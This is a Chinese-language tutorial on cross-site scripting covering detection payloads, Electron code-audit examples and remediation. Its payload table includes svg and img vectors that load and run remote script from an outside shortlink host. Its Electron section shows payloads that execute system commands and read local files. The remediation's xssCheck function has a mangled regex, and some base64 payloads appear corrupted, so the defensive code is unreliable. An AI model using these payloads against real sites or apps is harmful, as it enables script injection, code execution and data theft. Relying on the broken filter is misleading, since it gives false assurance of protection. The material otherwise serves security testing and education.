

一、XSS漏洞概述

1.1 XSS漏洞简介

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

1.2 XSS漏洞检测

标签	测试脚本
svg	<code><svg onload=eval(\$.get("//t.cn/R5iR4NG")) style=display:none></code> <code><svg onload=a=decodeURIComponent("http%3A%2F%2Ft.cn%2FR5iR4NG");\$.getScript(a) style=display:none></code>
img	<code><img src=x style=display:none</code> <code>onerror=s=createElement('script');body.appendChild(s);s.src="//t.cn/R5iR4NG';></code>
isindex	<code><isindex type=image src=x onerror=alert(/xss/)></code>
a	<code><a title='x' onmouseover=alert(unescape(/hello%20world/.source))</code> <code>style=position:absolute;left:0;top:0;width:5000px;height:5000px></code>
select	<code><select autofocus onfocus=alert(document.domain)></code>
textarea	<code><textarea autofocus onfocus=alert(document.domain)></code>
keygen	<code><keygen autofocus onfocus=alert(document.domain)></code>
body	<code><body onload=prompt(document.domain);></code>
embed	<code><embed src="javascript:alert(document.domain)"/></code>
video	<code><video><source onerror="javascript:alert(document.domain)"></code>
object	<code><object data="data:text/html;base64,PHNjcmlwdD5hbGvYdCgiSGVsbG8iKTs8L3NjcmlwdD4="></code>
iframe	<code><iframe src=data:text/html;base64,PHNjcmlwdD5hbGvYdCgiSGVsbG8iKTs8L3NjcmlwdD4=></code>
meta	<code><meta http-equiv="refresh" content="0; url=data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E"></code>
b	<code><b oncut = alert()></code>
script	<code><script src=test.jpg></code>
script	<code><script>z="alert"</script>
<script>z=z+"(123)"</script>
<script>eval(z)</script></code>
div	<code><div id="x">alert%28document.cookie%29%3B</div>
<p>eval(unescape(x.innerHTML));</p></code>
script	<code><script>window.open('https://vulnerablesite.com/users/eval(atob(window.name))','Ywx1cnQoL3hzcyc8p')</script></code>
script	<code><script>eval.call \${prompt\x281)}</script></code>
svg	<code><svg><script>&#112;&#114;&#111;&#109;&#112;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;</script></code>

二、XSS漏洞代码审计

2.1 Electron

electron是一个流行的桌面应用开发框架，允许开发者使用web技术和nodejs结合来迅速开发桌面应用，因为引入了JS，所以也引入了XSS漏洞。

- 系统命令

```
<script>require("child_process").exec("calc.exe")</script>
```

- 读写文件

```
<script>require('fs').writeFile('hack.txt','xxxx')</script>
<script>require('fs').readFileSync('c:\\windows\\php.ini')</script>
```

三、XSS漏洞修复

3.1 服务端过滤

- Java: <https://owasp.org/www-project-java-html-sanitizer/>
- .NET: <https://github.com/mganss/HtmlSanitizer>
- Golang: <https://github.com/microcosm-cc/bluemonday>
- PHP: <http://htmlpurifier.org/>
- Python: <https://pypi.python.org/pypi/bleach>
- Django框架 (Python) : <https://github.com/shaowenchen/django-xss-cleaner>

3.2 前端过滤

```
$.ajax({
    url: '/test.php',
    type: 'post',
    dataType: 'text',
    cache: false,
    async: false,
})
.done(function(data){
    $("body").append(xssCheck(data));
})

function xssCheck(str,reg){
    return str ? str.replace(reg || /&lt;">' ](?:(amp|lt|quot|gt|#39|nbsp|#d+);)?/g,function (a, b) {
        if(b){
            return a;
        }else{
            return{
                '<':'&lt;',
                '&':'&amp;',
                '"':'&quot;',
                '>':'&gt;',
                "'":'',
            }[a]
        }
    }): '';
}
```